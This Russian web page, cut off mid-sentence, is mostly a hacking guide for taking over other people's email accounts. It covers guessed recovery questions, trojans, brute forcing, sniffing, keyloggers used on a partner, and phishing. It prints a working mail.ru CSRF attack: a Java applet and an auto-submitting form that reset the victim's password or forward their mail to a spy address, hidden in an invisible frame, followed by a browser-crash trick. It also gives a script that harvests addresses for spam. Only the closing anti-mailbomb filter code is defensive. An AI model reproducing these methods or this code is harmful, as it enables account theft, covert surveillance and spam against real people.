RSS

Компьютерная терминология    1_9  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  .....  A  Б  В  Г  Д  Ж  З  И  К  Л  М  Н  О  П  Р  С  Т  У  Ф  Х  Ц  Ч

Защита почты от взлома

Десять приемов для взлома почты

Забытые пароли

Наиболее эффективным и красивым методом доступа к чужому ящику является восстановление якобы забытого пароля. Он применим в том случае, если нужный мыльник находится на фриварном сервисе и есть некоторая информацией о владельце ящика. Рассмотрим все это дело на конкретном примере. Допустим, у меня есть знакомый Акакий Бездрищенко, который держит свой e-mail на сервисе mail.ru.

По каким-то причинам мне захотелось завладеть ящиком Акакия. Я иду на главный сайт портала, затем открываю раздел «Забытый пароль», ввожу в поле логин “akakij” и озадачиваюсь вопросом: «Любимое блюдо?». Чуть ниже находится форма для ввода дня рождения Акакия. Чтобы узнать эти данные можно либо напрямую задать вопрос владельцу (очень аккуратно, чтобы не спугнуть), либо найти их где-то еще. Например, если я общаюсь с Акакием, я могу ненавязчиво поговорить с ним о кулинарии и узнать, что он любит из еды. Чтобы ответить на второй вопрос, можно посмотреть данные в ICQ (там, скорее всего, будет указана дата рождения), либо ввести в поисковике «Акакий Бездрищенко» и попробовать получить требуемую информацию, например, из форумных профилей жертвы.

Вообще, дата рождения - избыточный вопрос, посему указывается только при желании владельца ящика. Таким образом, задача может быть упрощена в два раза.

Трояна заказывали?

Второй, не менее распространенный метод, заключается в протроянивании жертвы. В наше время развелось очень много функциональных троянцев, которые не только умеют отсылать все пароли из Outlook Express и TheBat, но и логировать все нажатые клавиши с последующей отсылкой на хакерский e-mail. За примерами далеко ходить не надо: новый продвинутый трой с именем A-311 Death умеет многие вещи. Специально для скептиков существует демо-версия трояна с некоторыми ограничениями.

 

Бесплатная консультация специалиста

Loading…
 
Однако попросить юзера запустить «крякер интернета» не так то просто. Поэтому на помощь приходят эксплойты. Мне нравится использовать Universal .ANI files handling exploit (смотри мартовский обзор), с его помощью можно легко залить и запустить троян в удаленной системе. Только перед этим необходимо старательно замаскировать эксплойт в недрах якобы дружественного HTML-кода. А затем без задней мысли дать ссылку пользователю.

Ломаем хостинг

Следующим отчаянным методом является взлом хостинговой площадки с последующим хищением пользовательских баз. Здесь, опять же, существуют свои тонкости. Например, вряд ли мне удастся взломать mail.ru и вытянуть все пароли, однако я уверен, что смогу это проделать с hotbox.ru (мы уже писали про этот дырявый хостинг). Ни один сервис не застрахован от CSS-ошибок, найдя одну из которых, я буду способен завладеть нужным почтовым ящиком.

Естественно, этот прием сработает лишь при определенных навыках взлома. В больших сервисах редко встречаются тупые администраторы, поэтому, на первый взгляд, почтовая система будет вполне защищенной . Впрочем, здесь тоже есть исключения. Никто не запрещает просто попросить более продвинутого взломщика взломать хостинг или mail-сервис за деньги, либо просто купить за 5$> нужный пароль у трейдера, имеющего online-доступ к нужным базам данных.Таких много, нужно лишь их отыскать.

Проникновение в систему

Если жертва, у которой необходимо украсть ящик, юзает интернет со статического IP-адреса, и этот адресок известен, то можно попробовать взломать компьютер пользователя. Доказано, что очень мало людей следят за системой и ставят критические обновления. У меня не занимает много времени, чтобы сделать fingerprint и определить OS пользователя. После этого я роюсь в багтраке и нахожу подходящий сплойт для ломаемой системы. Дальше уже – дело техники, но ничего сложного нет: я просто запускаю чужой сплойт и получаю доступ к командному интерпретатору.

Я не акцентирую внимание на деталях типичного взлома – они не раз описывались на страницах нашего журнала. Самое интересное наступает после того, как я проникаю внутрь системы. Мне нужно украсть пароль к почтовому ящику и выполняется это следующим образом. Сперва я нахожу каталог почтового клиента, пусть это будет папка c:\program files\thebat\mail. После этого аккуратно скачиваю все mail-базы из подкаталога с названием нужного ящика. Затем уже на локальной машине, я подключаю новый мыльник и «подсматриваю» пароль программой openpass, либо passview. Этот изящный прием я несколько раз практиковал во времена RPC-эпидемии, когда было очень легко попасть на нужный компьютер. Поэтому вышеописанный прием я использую только тогда, когда четко знаю, что в машине есть серьезный баг и нет настроенного файрвола, который может помешать.

Нюхаем пароли.

Из заголовка ты, наверное, догадался, что речь пойдет о снифферах. Действительно, отсниффать почтовый пароль вполне реально. Нужно лишь выбрать хорошее место для запуска нюхача. Это может быть как компьютер из текущего сегмента, так и маршрутизатор, через который проходит весь трафик жертвы.

На самом деле, мне удается этот фокус, даже если я не подключен к локальной сети нужного провайдера.

Делается это следующим образом: каким-либо способом я нахожу диапазоны IP-адресов, принадлежащие провайдеру. Затем сканирую сегмент, в котором находится жертва. После этого пробиваю ICQ-номер, или e-mail любого жителя сегмента (координаты легко можно найти через домашнюю страницу юзера, которая часто располагается на его компьютере). После всех этих шагов, необходимо договориться с кем-нибудь за «пиво», чтобы человек отсниффал необходимый пароль. Либо, если чувак пуленепробиваемый, у него можно стрясти контакты другого чувака из этого же сегмента, и попробовать поговорить с ним. В моем случае, у меня не раз получалось доставать таким образом пароли, причем свое согласие на это давал примерно каждый третий юзер сети.

Что касается маршрутизатора, тут все обстоит сложнее. Чтобы добиться желаемых результатов, необходимо поломать крупный роутер и установить на нем сниффак. В теории этот способ прост как два рубля, но на практике он практически невыполним. Уж слишком хорошо защищены эти маршрутизаторы.

Возьми его силой!

Пришло время рассказать про излюбленный всеми метод – атаку брутфорсом. С одной стороны, этот способ почти всегда применим для любых почтовых систем, но с другой, вероятность успешного взлома ящика крайне мала.

Однако, несмотря на это, брутфорс применяется повсеместно и мне не раз доводилось подбирать пароли к ломаемому аккаунту. Итак, что же необходимо, чтобы получить пароль от ящика этим способом? Здесь можно пойти несколькими путями в зависимости от обстоятельств:

1. Использовать софт под Windows. Хорошим брутфорсером для POP3-аккаунтов была и остается софтина Brutus2, написанная в далеком 2002 году. С помощью брутуса можно легко перебрать огромные листы с паролями. Многопотоковая технология позволит ускорить процесс в десятки раз (при хорошем канале, конечно).

2. Использовать софт под Linux. Более рациональный вариант, так как юзание забугорного шелла более экономично. В этом случае можно воспользоваться софтиной Hydra, либо написать свой конкретный переборщик. Так, например, перебирать пароли на hotmail.com и yahoo.com непросто, так как на этих сервисах отсутствует доступ по POP3/IMAP. Выход из положения – написание самопального брутфорсера. У меня в хакерском арсенале имеется рабочий чекер аккаунтов hotmail.com. Превратить его в брутфорсер не составит большого труда. Если ты заинтересовался этой программой, скачивай для ознакомления перловый исходник с моего сайта.

Запоминаем клавиши

Прием заключается в использовании кейлогера с целью украсть чужой почтовый ящик. Не нужно путать этот способ с «протрояниванием», потому как здесь применяется только кейлоггер и ничего больше. Иными словами, на компьютер устанавливается клавиатурный шпион, который отсылает все данные на почтовый ящик, либо хранит в отдельном файле. Для полной ясности картины я расскажу пример взлома с помощью простого кейлоггера hookdump. Мой хороший знакомый захотел узнать, с кем переписывается его девушка. Поскольку дама была не слишком наивной, так просто она ему пароль не говорила. Сложность была в том, что девушка не подпускала парня к ее компьютеру.Так вот: мой корефан установил на своей машине программу hookdump, именуемую как клавиатурный шпион, а затем пригласил подругу в гости. Они распили бутылку вина, и затем сели за компьютер. Внезапно девушка захотела... нет, не то, что ты подумал :). Она захотела проверить свою почту. Товарищ, дабы не смущать даму, удалился заваривать чай. За время его отсутствия девочка проверила почту. После ее ухода, мой знакомый узнал о даме много нового, а именно то, что у нее очень много как виртуальных, так и реальных бойфрендов, помимо него. Это очень обидело парня, и он разорвал с ней все отношения. Вот так кейлогер может уберечь людей от случайных связей.

Этот случай произошел два года назад. Тогда еще не было хороших шпионов, которые без глюков отсылают все данные на хакерскую почту. Теперь же таких программ пруд пруди. Так что разумнее всего незаметно подкидывать прогу на компьютер жертвы, а затем ждать писем. Либо действовать методом «от противного», как делал мой гениальный товарищ.

Моя профессия – социальный инженер

Наконец, мы подошли к самому интересному и до конца не изученному способу – социальная инженерия. В нашем случае эта инженерия направлена на то, чтобы всеми возможными и невозможными способами выудить пароль у пользователя ящика. Здесь также существуют свои тонкости. Во-первых, нужно обладать даром красноречия. Во-вторых, взломщик и жертва должны каким-либо образом контактировать. Как я уже говорил, самый распространенный способ кражи пароля – отправка сообщения якобы от техподдержки сервиса с просьбой выслать пароль. Иначе, мол, заблокируем твой аккаунт к чертовой матери. И юзеры велись. И возможно до сих пор ведутся. Здесь главное правильно убедить :).

Не обязательно вымогать пароль напрямую. Как-то раз я втерся в доверие к человеку, а затем безвозмездно предложил ему почтовый ящик на звучном домене. Когда пользователь согласился, я спросил у него логин и пароль. И что ты думаешь? Жертва сказала пароль, который совпал со всеми остальными!

Если же эта затея не удалась, можно попробовать поставить прокси/сокс на зарубежном шелле, «поделиться» доступом с жертвой, а затем сразу включить на сервере сниффер и отловить все нужные пароли.

Можно бесконечно долго расписывать приемы «выуживания» пассвордов. Но основная мысль состоит в том, что здесь главное не повторяться, не использовать избитых методов и тогда любой пользователь попадется на эту удочку.

Поиск по интернету

Еще одним успешным приемом взлома является поиск по различным сетевым базам.Рассмотрим пример: допустим, мне захотелось взломать любой ящик в домене padonak.ru.Я захожу на yandex.ru и вбиваю в строку поиска имя нужного сервера.Тут же всплывают ссылки, указывающие на красивые адреса, типа root@padonak.ru и т.п.Один из таких адресов прикреплен к пользователю root, который зарегистрирован на каком-то ламерском форуме phpBB.Естественно, что версия форума не такая уж и новая.Я без проблем сломаю такую борду и упру хэш пароля юзера root.После этого, воспользовавшись Md5Inside, я расшифрую пароль жертвы.Проверки показывают, что этот пассворд конечно же совпадает с паролем на мыло! Или не совпадает - тут уж как повезет.

В последнее время значительную популярность обрели почтовые системы на основе WWW-Интерфейса. Web-почту "местного значения" также предлагают провайдеры, работающие по схемам "Интернет-Кард" или "Интернет-в-кредит". Честно говоря, автору совершенно непонятны причины такого успеха. Сторонники подобных систем обычно заявляют о простоте и удобстве пользования, при большей безопасности, ссылаясь на огромное кол-во вирусов и печальный пример MS Outlook и MS Outlook Express 5. Первые два аргумента, похоже, соответствуют действительности, а о безопасности поговорим чуть ниже.

В статье будет рассмотрен один из вариантов технического подхода к вскрытию почтового ящика, основанного на совместном использовании недоработок современных браузеров, принципиальных недостатках CGI, и ошибках в политике безопасности почтовых служб. Именно он чаще всего применяется в атаках на Web-почту. Для "конкретности", будет описан найденый автором метод "захвата" или "подслушивания" пользователя популярной в России системе mail.ru и способ защиты.

"Социальная инженерия" (сравнимый по эффективности) вид взлома рассматриваться не будет просто потому, что она детально рассмотрена в статьях других авторов.

Существуют, конечно и другие методы, возможно, лучшие, чем описанный ниже. Может, их авторы тоже поделятся своими мыслями в отзывах или напишут статью...

1. Принципиальные недостатки безопасности WWW-почты.

(Не)Надежность обычной почтовой програмы определяется (без)грамотностью её написания.

Браузер же как система прочтения почты изначально недостаточно безопасен, поэтому создатели почты вынуждены налагать ограничения на теги, используемые в письмах ( <script ...>, <iframe> и т.д.). Как правило, встроенный фильтр просто удаляет "небезопасные" с его точки зрения инструкции. Принципиальных недостатков у подобного подхода два: (1) слишком строгие фильтры могут повредить само письмо, да и (2) трудно предугадать заранее, на что способна безопасная с виду конструкция. Тем не менее, именно на фильтрации основаны большинство существующих почтовых систем.

Cамый же уязвимый элемент - это способ задания пользовательских настроек и пароля. Они, как правило, задаются с помощью CGI-форм (как наиболее распространённого стандарта) по тем же каналам, что используются для работы с почтой, и могут быть вызваны любым членам сети, сумевшим подделать ip и cookies пользователя, или (что гораздо проще) временно захватившим контроль над браузером.

2. Технология атаки.

Итак, мы решили перехватить контроль у пользователя xxxx почтовой системы с Web- интерфейсом, например yyyy.zz. Только убедитесь, что он действительно пользуется web-интерфейсом, а не читает почту через pop3 -сервер или пользуется форвардингом.

Заводим почтовый ящик на этом же сервисе и в первую очередь смотрим, как задаются и изменяются пароль и прочие настройки. На mail.ru (и многих других) это делает обычная форма, результаты заполнения которой передаются в CGI-скрипт

cgi-bin/modifyuser?modify

Для идентификации пользователя, похоже, используется скрытое поле

<input type="hidden" name="Username" value="intst1">

Нам предоставляется вохможность изменить :

имя пользователя;

<input type="text" name="RealName" value="A. V. Komlni">

адрес пересылки (форвардинга) и возможность сохранения почты при этом;

<input type="text" name="Forward" value="...">

<input type=checkbox name="Flags.DoNotKeepMail" >

пароль;

<input type="password" name="Password" value="****************">

<input type="password" name="Password_Verify" value="****************">

Попробуем сформировать соответствующий файл, задав в скрытом поле имя интересующего нас пользователя и отослать форму, т.к. CGI, увы, не проверяет место нахождения формы-запроса.

<form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify">

Не получилось. Быть может, в интересующей Вас системе этого окажется достаточно, а в mail.ru такие шутки не проходят.

Значит, пользователь идентифицируется с помощью cookies или, хуже того, ip. Пробуем вручную отредактировать cookies - результат тот же. Следовательно, эту форму должен отослать сам пользователь.

Наиболее простой способ захвата контроля над браузером - внедрение <script> и &{ ... } конструкций в письмо - давно уже пресечён с помощью фильтров почти всеми, и mail.ru в том числе. Тем не менее попробуйте, чем чёрт не шутит. Если теги разрешены, то фильтрация самого javascript иногда может быть обойдена при помощи средств динамической генерации кода.

Неплохой результат иногда дают конструкции вида <тег [XX]SRC=...>, например <IMAGE LoSrc="javascript..."...> , <IFRAME SCR="about: <script...> ..."> для IE и <ilayer src="mocha:..."> для NC. ("mocha" - это старый, всеми позабытый аналог модификатора "javascript", сохранившийся в NC). Вообще, чем реже используется тот или иной тег тем больше вероятность, что разработчики забыли его офильтровать...). Недостаток этого подхода в том, что требуется знать тип и версию используемого браузера.

К сожалению (вернее к счастью), у программистов mail.ru память хорошая. В конце концов это их и подвело. Наверное, они (да и не только они, похоже) читали "умные" книжки, запомнив, что Java - одна из самых безопасных технологий в сети. Поэтому и разрешили тег <Applet...>. В стандарте Java есть класс AppletContext, позволяющий нам открывать новые окна или менять текущие.

URL myURL=new URL("http:...editprofil.html"); 
getAppletContext().showDocument(myURL,"_self");
getAppletContext().showDocument(myURL,"newwin");
На любой общедоступной страничке размещаем файл editprofil.html ( содержащий
требуемую форму), прописываем к нему путь в апплете, который размещаем там-же
и высылаем пользователю письмо, содержащее вызов апплета. Этот эксплойт не
зависит от браузера, одинаково "хорошо" работая в IE и NC.

( не забудьте отредактировать _ПУТЬ_) 
<applet
    code=readr.class
    name=readrie
    codebase="_ПУТЬ_/"
    width=320
    height=240 >
<B> SET Java On</B>
</applet>

------------------------------------------------------
readr.java ( не забудьте отредактировать _ПУТЬ_)
-------------------------------------------------------
import java.applet.*;
import java.awt.*;
import java.net.*;

public class readrie extends Applet
{

public void paint(Graphics g) 
{ try {

                URL myURL=new URL("_ПУТЬ_editprofil.html"); 
getAppletContext().showDocument(myURL,"_self");

} catch (Exception e) { 
          g.drawString("Error", 10, 10);
}
}
}
--------------------------------------------------------------------
editprofil.html ( не забудьте отредактировать ИМЯ_ПОЛЬЗОВАТЕЛЯ и НОВЫЙ_ПАРОЛЬ)
--------------------------------------------------------------------

<form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify">
<input type="hidden" name="Username" value=" ИМЯ_ПОЛЬЗОВАТЕЛЯ ">
<input type="text" name="RealName" value="A. V. Komlni">
<input type="text" name="Forward" value="">
<input type="password" name="Password" value=" НОВЫЙ_ПАРОЛЬ ">
<input type="password" name="Password_Verify" value=" НОВЫЙ_ПАРОЛЬ ">
<input type=checkbox name="Flags.DoNotKeepMail" >
Не сохранять почту при пересылке<br>

<input type="submit" value="Сохранить"> <input type="reset"
value="Восстановить">
</form>
<SCRIPT LANGUAGE="JavaScript">
 document.forms[0].submit();
</script>

Письмо можно сформировать просто присоединением (attach) HTML -файла (в Netscape Messenger, например) содержащего необходимые теги. Присоединенный в Messenger'е HTML-файл mail.ru откроет автоматически.

Как только абонент попытается прочитать письмо, выполнится апплет, и через несколько секунд форма будет отослана от имени жертвы.

Вот, в принципе, и всё. Пользователю присвоен новый пароль. Если мы хотим "просто подслушивать" пользователя, в значение полей Password необходимо внести 16 звёздочек, а в поле Forward - куда отсылать копии. Это довольно рискованный вариант: пользователь может случайно заглянуть в настройки и заметить адрес.

<input type="text" name="Forward" value="spy_addr@xxxx.zz">
<input type="password" name="Password" value="****************">
<input type="password" name="Password_Verify" value="****************">

3. Макияж...

Не стоит, конечно, проводить всю эту процедуру перед глазами пользователя ( может он ещё не отключил подтверждение на отправку форм или успеет запомнить разглядеть и запомнить новый пароль). Разумнее переадресовать апплет на какой-нибудь файл содержащий frameset

<FRAMESET COLS="99%,1%">
<FRAME SRC="zastavka.html" NAME="v1">
<FRAME SRC="editprofile.html" NAME="w1">

где zastavka маскирует письмо под безобидную рекламу или дружеское письмо, а editprofile выполняется в невидимом фрейме.

По окончании смены паролей лучше сымитировать сбой т.к. в течении сеанса пользователь может исправить пароль. В IE под Win 95/98, например, достаточно выполнить скрипт open("javascript:open(window.location)"); приводящий к бесконечному размножению окон, требующему перезагрузки. Само письмо лучше отослать (на случай неудачи) от анонимной службы рассылки писем.

На 06.01.2000 пример ещё работал.

Защититься от этой атаки как всегда просто. Отключить Java, а лучше, отказаться от использования Web-интерфейсов. Тот же mail.ru предлагает и форвардинг и pop-сервера. Экономия на настройке приносит проблемы с безопасностью не только администраторам больших сетей, поверьте.

4. Составляем список абонентов сервера.

Заветной мечтой всех спамеров мира является список (база) абонентов.

"Нужна база е-мейлов по заграничным и Московским сайтам $$$ - Вася 02:53:36 06/1/2000 (0)"

Нередко почтовые Web-сервера могут "бесплатно" предоставить подобную информацию. Метод её получения довольно прост. При легальной работе с почтовым ящиком запоминаем адреса CGI-скриптов, ответственных за смену и чтение параметров пользователей. Потом, вызываем их без параметров (форм). Вполне вероятны ошибки в скриптах, при которых они отработают с последними занесёнными ( или использующимися в текущий момент) именами пользователей.

Конечно, шансов на то, что параметры можно изменить нулевые, а вот сообщение об ошибке доступа вполне может содержать имя пользователя, как это происходит на mail.ru. При обращении к тому-же "koi.mail.ru/cgi-bin/modifyuser?modify" выдаётся сообщение вида

Настройки пользователя mnebojsa@mail.ru
Ошибка.  Не заполнены необходимые поля.
При следующем обращении "сдастся" следующий пользователь или "@/" если таковых
не окажется. Осталось исследовать внутреннюю структуру ответа, да написать
программу, повторяющую подобные запросы и фильтрующую ответ в поисках нужной
информации. Лучше запускать её в часы пик 
-------------------------
import java.io.*;
import java.net.*;
import java.util.*;

public class getname {
 public static void main(String args[]) {
  String nextline;
  try
  {
   URL mailserv= new URL("http://koi.mail.ru/cgi-bin/modifyuser?modify");
   for (int i=1;i<=10000;i++)
   {
     DataInputStream input = new  DataInputStream (
     mailserv.openConnection().getInputStream());
     nextline=input.readLine();
     nextline=input.readLine();
     nextline=input.readLine();    // Нужный нам адрес - в третьей строке
                                   // выходного документа
     System.out.println( nextline);
     input.close();
   }
  }
  catch(Exception ioe)
  {
    System.out.println(ioe.toString());
  }
 }
};
--------------------------------------------------
Вызовы команд вида ( в среде JDK)

:javac getname.java - компилируем файл

:java getname > userlist.txt

занесут в файл userlist.txt примерно 10000 e-mail адресов.

Теперь больной манией величия "хаксор" вполне может создать программу, автоматически рассылающую письма-ловушки отбирающие почтовые ящики, практичный спаммер - рекламу, а конкуренты - сообщение, вида: "бесплатный сервис mail.ru будет с начала месяца прекращён, воспользуйтесь xxxx.ru" или всё вместе

10.01.2000. Дополнение.

Mail.ru устранил ошибку. Надо признать, оперативно. Наверное даже слишком, забыв, что в IE апплеты можно вызвать и тегом "object", который пока разрешен. Конечно, синтакс вызова чуть-другой, но это не проблема. Так, что завтра работу придётся повторить. А у читателей ещё есть время попробовать. >

Большое спасибо всем, кто откликнулся на статью. Увы, примеры на mail.ru были практически недоступны, т.к. их постоянно стирали, причем отнюдь не администраторы mail.ru. Вот пример диалога с форума:

 

22.01.2000 Дополнение II

Уважаемые читатели, в настоящее время все описаные конкретные ошибки в mail.ru устранены, но, уверяю Вас, они действительно существовали, а не плод моего больного воображения ;)(Комментарий hackzone: это могу подтвердить и я, могут и авторы восторженных писем в форуме в первые дни после публикации).

В заключение - ответы на некоторые интересные вопросы, которые позволят яснее выразить смысл данной статьи. Возможно, я сильно увлёкся примерами, в ущерб главной мысли.

 

23 апреля 2003 года В сети обнаружен троянец, который ведет себя в полным соответствии с принципами социальной инженерии, обманывая доверчивого пользователя, как ребенка. Программа Dialer.AF представляет из себя троянца-дозвонщика, создающего на зараженном компьютере файл "EROS.EXE>", а также вносящего некоторые записи в системный реестр Windows.

После установки на компьютер Dialer.AF выводит значок на Панели задач, около системных часов.

Пользователь, который уже привык к тому, что система Windows (точнее не сама система, а прикладные программы, работающие под управлением этой системы) может взять, да и установить что-то втихаря, не особо расстраивается по этому поводу, тем более, что при нажатии на значке правой кнопкой мыши появляется опция "Uninstall...".

При выборе пользователем данной опции создается впечатление, что программа удалена, но на самом деле ни записи из Реестра, ни файлы не удаляются. Поэтому, при перезагрузке компьютера, Dialer.AF остается резидентным на зараженном компьютере и, естественно, оставляет порт открытым.

Ну а потом программа начинает звонить по всевозможным платным номерам со всеми вытекающими отсюда печальными финансовыми последствиями.

 24 апреля 2003 года                    TheBat! атакован

Нет в жизни совершенства. Вот и самый лучший почтовый клиент TheBat! оказался небезопасным для пользователя. Лаборатория Касперского объявила, что в сети появился написанный на Delphi червь Mintal, который распространяется через почтовую систему The Bat!.

Для того, чтобы установить этого червя на свой компьютер следует проявить непростительное любопытство при получении письма с заголовком "Зацени прогу", текстом "Зацени новую прогу!" и вложением install.exe. После установки червь получает доступ к базе данных The Bat!, ищет в ней адреса электронной почты и рассылает по ним свои копии, вложенные в письма, используя почтовый сервер smtp.bk.ru.

Mintal неровно дышит к программе WebMoney.exe, при обращении к которой он ведет лог нажимаемых символов и отправляет полученную информацию на адрес злоумышленника. После чего червь скачивает свои новые версии с сайта www.demonxtex.narod.ru и приступает к автоапдейту.

20/09/2003

Новый e-mail вирус использует "дыру" в Internet Explorer

Появился новый вирус, который выдает себя за заплатку для системы безопасности компьютера, но фактически пытается отключить действующие системы безопасности. Письмо приходит от имени корпорации Microsoft. Новый вирус под названием "Swen" или "Gibe", использует слабое место в программе Internet Explorer и рассчитан на тех, кто еще не установил патч устраняющий эту прореху, которая присутствует в популярном броузере вот уже 2 года.

Вирус приходит вложением и выглядит как патч для программ Interner Explorer, Outlook и Outlook Express. На самом деле вирус рассылает свои копии по всем адресам, содержащимся в адресной книге жертвы. На сегодняшний день количество заражений приближается к 1 млн. компьютеров. В связи с этим фирма Microsoft напомнила, что никогда не высылает патчи, а лишь дает интернет-ссылки для их выкачивания.

Nov 6 2003

Про защиту мыла

MailBomber - программа для отправки огромного количества сообщений на указанный e-mail. Очень неприятно обнаружить в собственном почтовом ящике 300-400 сообщений от разных адресатов. Еще неприятней знать, что среди них какое-то количество тех, которые нужно принять. В этой статье я расскажу о некоторых способах защиты от такого вандализма. 1. В диспетчере сообщений (есть практически во всех почтовых клиентах) принять только заголовки писем. Посмотреть заголовок хотя бы одного не нужного письма. Запомнить IP-адрес. Отметить все на удаление. Потом просмотреть весь список, выбрать нужные, отметить на получение и получить их. Потом через whois узнать провайдера и написать ему. Если не поможет - написать матом со всяческими угрозами :-). В принципе не долго, но геморно. Особенно пункт "просмотреть весь список и выбрать нужные сообщения". Провайдеры обычно из-за пары баксов удавятся. Поэтому отправителю ничего не будет (скорее всего). Письма с угрозами и предупреждениями можно не посылать. Есть несколько "НО". Хорошие MailBomber-ы не только ставят в поле обратного адреса разные адреса, но и умеют подделывать заголовок, прикидываясь пересылочным почтовым сервером. Мало того, что обратный адрес определить очень тяжело, так еще и разные темы, размеры и аттачи сообщений. Есть еще и SOCK-5 прокси. Или, допустим, у меня есть на странице форма для отправки сообщения. Написать многопоточный флудер с использованием этой формы и простого http-прокси не так и сложно. Запустить у себя или с шелла и все. Запросы идут через прокси, а в обратном адресе стоит адрес sendmail хостера. 2. Идея реализации защиты в том, чтобы получать только заголовки сообщений и заданное количество строк. Потом искать вхождение определенной строки (в любом случае какая-то одинаковая строка для всех сообщений будет) и автоматически удалять сообщения на сервере. Поговорим о способах реализации. 2.1. Способ для юзера. Поставить The Bat!. В последних версиях есть создание правил для приема сообщений. Прописать правило. Инициализировать диспетчер сообщений. Плюсы: просто, как у ребенка леденец отобрать (так говорят те, кто никогда этого не пробовал). Минусы: каждый раз нужно создавать новое правило, искать где оно там в меню и The Bat! все-таки платный. Хотя программа настолько хороша, что можно и не пожлобиться. 2.2. Способ для хакера. Написать скрипт. Скрипт будет получать часть сообщений, искать вхождение искомой строки и удалять, удалять, удалять. Сунуть туда, где он исполнится. Плюсы: не юзает твой траффик. Минусы: надо иметь место, где он исполнится. Вот самый простейший пример на Perl (необходим модуль Mail::POP3Client), который просматривает сообщения и удаляет все, в которых содержится "stroka": #!/usr/bin/perl use Mail::POP3Client; $user = "user"; $password = "password"; $host = "pop3.domain.com"; $stroka = "127.0.0.1" $pop = new Mail::POP3Client( USER => $user, PASSWORD => $password, HOST => $host ); for( $i = 1; $i Count(); $i++ ) { foreach( $pop->HeadAndBody( $i ) ) { chomp $stroka; if (/$stroka/) { $pop->Delete( $i ); } } } $pop-Close(); Можно чуть усложнить: сделать вывод сообщений, дописать получение $user, $password, $host, $stroka из формы и т.д. Но все равно надо получить почтовым клиентом или telnet-ом парочку сообщений для определения строки вхождения. 2.3. Настоящие герои всегда идут в обход. Может под рукой не будет Perl или места, где вышеописанный скрипт надо будет запустить. Попробуем самим написать программу с использованием неблокирующего сокета. Тем более, что рабочие исходники простейшего клиента, работающего на TCP/IP, всегда должны быть под рукой. Почему на асинхронном сокете? Плюсы: не надо покупать The Bat!, не нужен шелл, Perl и т.п., к тому же разминка в кодинге никогда не помешает. Минусы: надо писать :-), использовать немного своего траффика и Delphi (который стоит чуть-чуть дороже The Bat! :-)). На самом деле Delphi покупать не обязательно. Функции работы с сокетами практически одинаковы на всех языках и системах. Переписать нижеследующий код на разновидность C или асма достаточно просто. Итак, создаем новый проект с одним окном и кидаем на форму 4 Edit-а (закладка Standart; юзер, пароль, POP3-сервер и строка вхождения), 2 SpinEdit-а (закладка Samples; тайм-аут и количество получаемых строк кроме заголовка), 1 Button (старт/стоп) и несколько Label-ов (чтоб потом ничего не напутать). Нужные нам команды POP3-сервера: USER - юзер; PASS - пароль; STAT - информация откуда получим кол-во сообщений; TOP - получение заголовка и указанных строк выбранного сообщения. Вот исходники "Unit1.pas" (Delphi32): var Form1: TForm1; StartD : Boolean = false; addr : TSockAddrIn; IPaddr : Cardinal; s : TSocket; WSAData : TWSAData; Buf : array [1..4096] of Char; BoolS : Byte; sock_on, sock_off : Integer; implementation {$R *.DFM} // функция отправки почтовому серверу строки str function postsend(str:string) : Boolean; var I1 :integer; begin Result:=false; for I1:=1 to Length(str) do if send(s,str[I1],1,0)=SOCKET_ERROR then exit; Result:=true; end; //Start/Stop procedure TForm1.Button1Click(Sender: TObject); var DopS : String; I1, DopI, DopI1 : Integer; label l3, l2, l1; //Перевод адреса в DWORD function dns_addr(IPaddr : String) : Cardinal; var pa: PChar; sa: TInAddr; Host: PHostEnt; begin Result:=inet_addr(PChar(IPaddr)); if Result=INADDR_NONE then begin host:=GetHostByName(PChar(IPaddr)); if Host = nil then exit else begin pa := Host^.h_addr_list^; sa.S_un_b.s_b1 := pa[0]; sa.S_un_b.s_b2 := pa[1]; sa.S_un_b.s_b3 := pa[2]; sa.S_un_b.s_b4 := pa[3]; with TInAddr(sa).S_un_b do Result:= inet_addr(PChar(IntToStr(Ord(s_b1))+'.'+IntToStr(Ord(s_b2))+'.' +IntToStr(Ord(s_b3))+'.'+ IntToStr(Ord(s_b4)))); end; end; end; //select на сокет и тайм-аут function postselect(s1 : TSocket; TimeS1 : Integer) : Boolean; var tvS : TTimeVal; rfdsS : Tfdset; begin Result:=true; // Ждем пока не сможем принять или тайм-аут while true do begin // Если отмена - выход if not StartD then begin Result:=false; exit; end; Sleep(100); // Обнуляем дескриптор сокетов FD_ZERO(rfdsS); FD_SET(s1,rfdsS); tvS.tv_sec:=0; tvS.tv_usec:=100; // select-ируем сокет select(0,@rfdsS,nil,nil,@tvS); TimeS1:=TimeS1-100; // Если можно читать - выход и читаем if FD_ISSET(s1,rfdsS) then exit; // Если тайм-аут - выход с false if TimeS1 0 then goto l1; s := socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if s = INVALID_SOCKET then goto l1; if dns_addr(Form1.Edit1.Text)0)and(buf[1]'+') then goto l2; DopS:=trim(Buf); DopS:=Copy(Buf,5,length(DopS)-5); if Pos(' ',DopS)>0 then DopS:=copy(DopS,1,Pos(' ',DopS)-1); DopI:=StrToInt(DopS); // DopI = кол-во сообщений. Запускаем цикл если > 0 if DopI>0 then begin for DopI1:=1 to DopI do begin // Получим заголовок и указанное кол-во строк сообщения if not postsend('top '+IntToStr(DopI1)+' '+IntToStr( Form1.SpinEdit1.Value)+#13+#10) then goto l3; if postselect(s,Form1.SpinEdit2.Value) then begin FillChar(Buf,4096,0); recv(s,buf,sizeof(Buf),0); // Если встречаются вхождения - удалим if Pos(Form1.Edit4.Text,Buf)>0 then begin postsend('dele '+IntToStr(DopIl)+#13+#10); if not postselect(s,Form1.SpinEdit2.Value) then goto l3; FillChar(buf,4096,0); I1:=recv(s,buf,sizeof(Buf),0); if (I1>0)and(buf[1]'+') then goto l3; break; end; end; // Следующее сообщение l3: dec(DopI); end; postsend('quit'+#13+#10); end else ShowMessage('0 message'); end; l2: ioctlsocket(s,FIONBIO,sock_off); closesocket(s); l1: StartD:=false; Form1.Button1.Caption:='Start'; end; end. Ради уменьшения размера исходника, здесь нет обработки ошибок, не совсем корректно сделан "Stop" и прием ограничен 4096 байт, но всё более или менее работает. Дописать не проблема. Теперь как человек ни будет изменять настройки MailBomber-а, писать сам скрипты и программы, потеть и тратить свой траффик или шелл на то, чтобы тебя зафлудить - защита займет всего ~ 1-2 kB входящих данных на каждое сообщение (при способе 2.3) и несколько минут на настройки. Естественно, способ 2.3 подходит для сравнительно небольшого количества сообщений. Если же атака осуществляется с 